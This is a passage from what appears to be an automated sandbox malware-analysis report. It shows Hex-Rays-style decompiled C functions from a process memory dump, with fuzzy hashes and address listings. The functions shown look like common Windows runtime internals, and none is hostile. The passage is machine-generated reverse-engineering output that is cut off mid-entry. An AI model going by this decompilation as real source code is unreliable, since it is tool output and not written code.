0x04b53873
0x04b53873
0x04b53868
0x00000000
0x04b53868
0x04b53821
0x04b53826
0x00000000
0x00000000
0x04b53828
0x04b5382a
0x04b53841
0x00000000
0x04b53841

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aee1951df3ed92066e1ca2608f4d2a1488ab9c585c173780694b1d134dec6084
Instruction ID: 8e1ab74324bdae302fd2a1cb7cca5920de372daa4ee418120789b04a6880f91c
Opcode Fuzzy Hash: aee1951df3ed92066e1ca2608f4d2a1488ab9c585c173780694b1d134dec6084
Instruction Fuzzy Hash: B901C4B2A016109BD32F9A5A9940B26FBE6DF85B9071550E9EC498B320DB30F841C790

Uniqueness

Uniqueness Score: -1.00%

Function 04B1C962, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E04B1C962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t19;
				char _t22;
				void* _t26;
				void* _t27;
				char _t32;
				char _t34;
				void* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x4c0d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E04B2EEF0(0x4c070a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E04B9F625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E04B2EB70(_t29, 0x4c070a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E04B5B640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E04B9F1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x4c070c0; // 0x0
					while(_t38 != 0x4c070c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x4c0b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x04b1c96a
0x04b1c974
0x04b1c988
0x04b1c98a
0x04b87c9d
0x04b87c9f
0x04b87ca4
0x04b87cae
0x04b87cf0
0x04b87cf5
0x04b87cfa
0x04b1c992
0x04b1c996
0x04b1c997
0x04b1c998
0x04b1c9a3
0x04b1c9a3
0x04b87cb0
0x04b87cb7
0x04b87cbb
0x00000000
0x00000000
0x04b87cbd
0x04b87ce8
0x04b87cc5
0x04b87cc8
0x04b87cca
0x04b87cd0
0x04b87cd6
0x04b87cde
0x04b87ce4
0x04b87ce4
0x04b87cd0
0x00000000
0x04b87ce8
0x04b1c990
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31546009dcaf5c17b5038e08a65a2d80d6c749f92083309c50e23c17f2ac4f5f
Instruction ID: 4c75f50c295f0d094c5b95a14dc02271df5d4b51c07618a94c8884c1f9a6d32f
Opcode Fuzzy Hash: 31546009dcaf5c17b5038e08a65a2d80d6c749f92083309c50e23c17f2ac4f5f
Instruction Fuzzy Hash: DC11C2323006069BDB14BF69DC85A2AB7E5FB94618B1006BDF84583650EF64FC50CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 04B4002D, Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B4002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = E04B37D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(E04B37D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E04B37D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(E04B37D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}

0x04b40032
0x04b40037
0x04b40043
0x04b84b3a
0x04b40049
0x04b40049
0x04b40049
0x04b4004e
0x04b40053
0x04b84b48
0x04b84b5a
0x04b84b4a
0x04b84b53
0x04b84b53
0x04b84b5f
0x00000000
0x04b84b61
0x00000000
0x04b84b61
0x04b40059
0x04b40059
0x04b40060
0x04b84b6f
0x04b84b6f
0x04b40069
0x04b84b83
0x00000000
0x00000000
0x04b84b90
0x04b84b9b
0x04b84b9b
0x04b84ba4
0x00000000
0x00000000
0x04b84baa
0x00000000
0x04b4006f
0x04b4006f
0x00000000
0x04b4006f
0x04b40069

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction ID: dfd47e22279e585bf738a959c4ee82f0373fb00d5b608f688861f403cae88391
Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction Fuzzy Hash: 1111A1B26066868FE722AB39DD44B3577D4EBC1758F0900E5DE0487792FB28F841E260

Uniqueness

Uniqueness Score: -1.00%

Function 04B2766D, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E04B2766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E04B4F3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E04B4F3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L04B34620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}

0x04b27672
0x04b2767f
0x04b27689
0x04b276de
0x04b276de
0x04b2768b
0x04b27691
0x04b27693
0x04b27697
0x00000000
0x04b27699
0x04b276a8
0x00000000
0x04b276aa
0x04b276ad
0x04b276b1
0x00000000
0x04b276b3
0x04b276b3
0x04b276b5
0x04b276ba
0x04b276bc
0x04b276bc
0x04b276c0
0x00000000
0x04b276c2
0x04b276ce
0x04b276ce
0x04b276c0
0x04b276b1
0x04b276a8
0x04b27697
0x04b276d9

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: a3c7add8916f457c673d219a463041a5a78f86ef258e418f96953fe7b61f2bd4
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: 1D018832700129AFD721AE9EDD41E5B77ADEB84760F1405E4B91CDB254DE30EE0197A4

Uniqueness

Uniqueness Score: -1.00%

Function 04BAC450, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E04BAC450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E04B59910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E04B595B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E04B595D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E04B595D0();
				return L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x04bac458
0x04bac45d
0x04bac466
0x04bac468
0x04bac469
0x04bac46a
0x04bac46b
0x04bac46e
0x04bac46f
0x04bac471
0x04bac476
0x04bac476
0x04bac47c
0x04bac47e
0x04bac480
0x04bac480
0x04bac483
0x04bac484
0x04bac486
0x04bac488
0x04bac48f
0x04bac491
0x04bac493
0x04bac493
0x04bac48f
0x04bac498
0x04bac49e
0x04bac4ad
0x04bac4ad
0x04bac4b2
0x04bac4b4
0x04bac4cd

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: 6d1e5a4a7c3748f882de114b03f9aea6345fdc272ea4e124cca7c327825d92ef
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 1C018CB2140609FFE621AF69CC80E62FB7DFB54795F108565F61442560CB22BCA0CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 04B19080, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E04B19080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x4c085ec;
				E04B32280(_t48, 0x4c085ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E04B2FFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x4c0538c; // 0x2f2afa8
					if( *_t84 != 0x4c05388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x4bef6e8);
						E04B6D0E8(0x4c085ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E04BE88F5(_t80, _t85, 0x4c05388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x4c086c0; // 0x2f107b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x4c086b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E04B32280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E04BE88F5(0x4c085ec, _t85, 0x4c05388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E04B5AFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x4c0b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x4c084c0;
																			if(_t82 >=  *0x4c084c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E04BE9063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E04B1922A(_t99);
										_t64 = E04B37D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E04BE8B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x4c086c0; // 0x2f107b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x4c086b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0x4c086bc;
													_t87 = 0x4c086b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E04B19240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x4c086c4;
												_t87 = 0x4c086c0;
												L27:
												E04B49B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E04B6D130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x4c05388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x4c0538c = _t51;
						goto L6;
					}
				}
			}

0x04b19082
0x04b19083
0x04b19084
0x04b19085
0x04b19087
0x04b19096
0x04b19098
0x04b19098
0x04b1909e
0x04b190a8
0x04b190e7
0x04b190e7
0x04b190aa
0x04b190b0
0x04b190b7
0x04b190bd
0x04b190dd
0x04b190e6
0x04b190bf
0x04b190bf
0x04b190c7
0x04b190cf
0x04b190f1
0x04b190f2
0x04b190f4
0x04b190f5
0x04b190f6
0x04b190f7
0x04b190f8
0x04b190f9
0x04b190fa
0x04b190fb
0x04b190fc
0x04b190fd
0x04b190fe
0x04b190ff
0x04b19100
0x04b19102
0x04b19107
0x04b1910c
0x04b19110
0x04b19113
0x04b19115
0x04b19136
0x04b1913f
0x04b19143
0x04b737e4
0x04b737e4
0x04b19117
0x04b19117
0x04b1911d
0x00000000
0x04b1911f
0x04b1911f
0x04b19125
0x00000000
0x04b19127
0x04b1912d
0x04b19130
0x04b19134
0x04b19158
0x04b1915d
0x04b19161
0x04b19168
0x04b73715
0x04b1916e
0x04b1916e
0x04b19175
0x04b19177
0x04b1917e
0x04b1917f
0x04b19182
0x04b19182
0x04b19187
0x04b19187
0x04b1918a
0x04b1918d
0x04b1918f
0x04b19192
0x04b19195
0x04b19198
0x04b19198
0x04b19198
0x04b1919a
0x00000000
0x00000000
0x04b7371f
0x04b73721
0x04b73727
0x04b7372f
0x04b73733
0x04b73735
0x04b73738
0x04b7373b
0x04b7373d
0x04b73740
0x00000000
0x04b73746
0x04b73746
0x04b73749
0x00000000
0x04b7374f
0x04b7374f
0x04b73751
0x04b73757
0x04b73759
0x04b7375c
0x04b7375c
0x04b7375e
0x04b7375e
0x04b73761
0x04b73764
0x00000000
0x00000000
0x04b73766
0x04b73768
0x04b737a3
0x04b737a3
0x04b737a5
0x04b737a7
0x04b737ad
0x04b737b0
0x04b737b2
0x04b737bc
0x04b737c2
0x04b737c2
0x04b737b2
0x04b19187
0x04b19187
0x04b1918a
0x04b1918d
0x04b1918f
0x04b19192
0x04b19195
0x00000000
0x04b19195
0x00000000
0x04b7376a
0x04b7376a
0x04b7376a
0x04b7376c
0x04b7376c
0x04b7376f
0x04b73775
0x00000000
0x00000000
0x04b73777
0x04b73779
0x04b73782
0x04b73787
0x04b73789
0x04b73790
0x04b73790
0x04b7378b
0x04b7378b
0x04b7378b
0x04b73792
0x04b73795
0x00000000
0x04b73795
0x00000000
0x04b73779
0x04b73798
0x00000000
0x04b73798
0x00000000
0x04b73768
0x04b7379b
0x04b7379b
0x04b73751
0x04b73749
0x00000000
0x04b73740
0x04b191a0
0x04b191a3
0x04b191a9
0x04b191b0
0x00000000
0x04b191b0
0x04b19187
0x04b191b4
0x04b191b4
0x04b191bb
0x04b191c0
0x04b191c5
0x04b191c7
0x04b737da
0x04b191cd
0x04b191cd
0x04b191cd
0x04b191d2
0x04b191d5
0x04b19239
0x04b19239
0x04b191d7
0x04b191db
0x04b191e1
0x04b191e7
0x04b191fd
0x04b19203
0x04b1921e
0x04b19223
0x00000000
0x04b19205
0x04b19205
0x04b19208
0x04b1920c
0x04b19214
0x04b19214
0x04b1920c
0x04b191e9
0x04b191e9
0x04b191ee
0x04b191f3
0x04b191f3
0x04b191f3
0x04b191e7
0x00000000
0x00000000
0x00000000
0x04b19134
0x04b19125
0x04b1911d
0x04b1914e
0x04b190d1
0x04b190d1
0x04b190d3
0x04b190d6
0x04b190d8
0x00000000
0x04b190d8
0x04b190cf

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c11d93ac767299b5db577e9c3b1bbb1728f7ec770e1696bac0910fffa92ee443
Instruction ID: 8bf42db4fe77b569eb4c6df15f2ebebc5deba505768418ccba5bd6bb3634d15a
Opcode Fuzzy Hash: c11d93ac767299b5db577e9c3b1bbb1728f7ec770e1696bac0910fffa92ee443
Instruction Fuzzy Hash: A901F4B26013409FE3189F24D844B2177B9EB45724F6180A6E105DB6A1C374FC81CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04BE4015, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E04BE4015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E04B32280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E04B32280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x4c086ac);
					E04B1F900(0x4c086d4, _t28);
					E04B2FFB0(0x4c086ac, _t28, 0x4c086ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E04B2FFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x04be401a
0x04be401e
0x04be4023
0x04be4028
0x04be4029
0x04be402b
0x04be402f
0x04be4043
0x04be4046
0x04be4051
0x04be4057
0x04be405f
0x04be4062
0x04be4067
0x04be406f
0x04be407c
0x04be407c
0x04be408c
0x04be408c
0x04be4097

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ff475c228d62a00180520347891d54976264bc50d41781a1778ca059c557327
Instruction ID: e012454366f8c5c2a24300bf87b600ce5cf857668477255b816723bfc87e96d9
Opcode Fuzzy Hash: 8ff475c228d62a00180520347891d54976264bc50d41781a1778ca059c557327
Instruction Fuzzy Hash: EC018471241645BFE711BB7ACD80E23B7ACFB89658B0006A5B50883A51CB24FC11CAE4

Uniqueness

Uniqueness Score: -1.00%

Function 04BD14FB, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E04BD14FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x4c0d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E04B5FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E04B37D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x04bd14fb
0x04bd14fb
0x04bd150a
0x04bd1514
0x04bd1519
0x04bd151b
0x04bd1526
0x04bd152c
0x04bd1534
0x04bd1537
0x04bd153a
0x04bd1545
0x04bd1557
0x04bd1547
0x04bd1550
0x04bd1550
0x04bd1562
0x04bd1563
0x04bd1565
0x04bd156a
0x04bd157f

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed191c84ed0b5e02cc2fd32778bb8e0669a7841eef212b99dde00af84ea1be51
Instruction ID: fe7d07d24b642cb4b42b9712188798bbfe961bf161ce682908270b75522ef62b
Opcode Fuzzy Hash: ed191c84ed0b5e02cc2fd32778bb8e0669a7841eef212b99dde00af84ea1be51
Instruction Fuzzy Hash: 8C019271A00248AFDB04DFA9D841FAEBBB8EF44714F004096F905EB280EA74EA01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 04BD138A, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E04BD138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x4c0d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E04B5FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E04B37D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x04bd138a
0x04bd138a
0x04bd1399
0x04bd13a3
0x04bd13a8
0x04bd13aa
0x04bd13b5
0x04bd13bb
0x04bd13c3
0x04bd13c6
0x04bd13c9
0x04bd13d4
0x04bd13e6
0x04bd13d6
0x04bd13df
0x04bd13df
0x04bd13f1
0x04bd13f2
0x04bd13f4
0x04bd13f9
0x04bd140e

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc24a704b56f9a3e129dfa2c2ed05622ca00f24c833048719b2faaf16ff635e5
Instruction ID: 5aa026b22e9608ba0323ed723f447edf0adff4d95a8f7d8b1a36491194367692
Opcode Fuzzy Hash: fc24a704b56f9a3e129dfa2c2ed05622ca00f24c833048719b2faaf16ff635e5
Instruction Fuzzy Hash: FB015271E04218AFDB14DFA9D841FAEB7B8EF44710F004096F905EB290EA74AA41C795

Uniqueness

Uniqueness Score: -1.00%

Function 04B158EC, Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

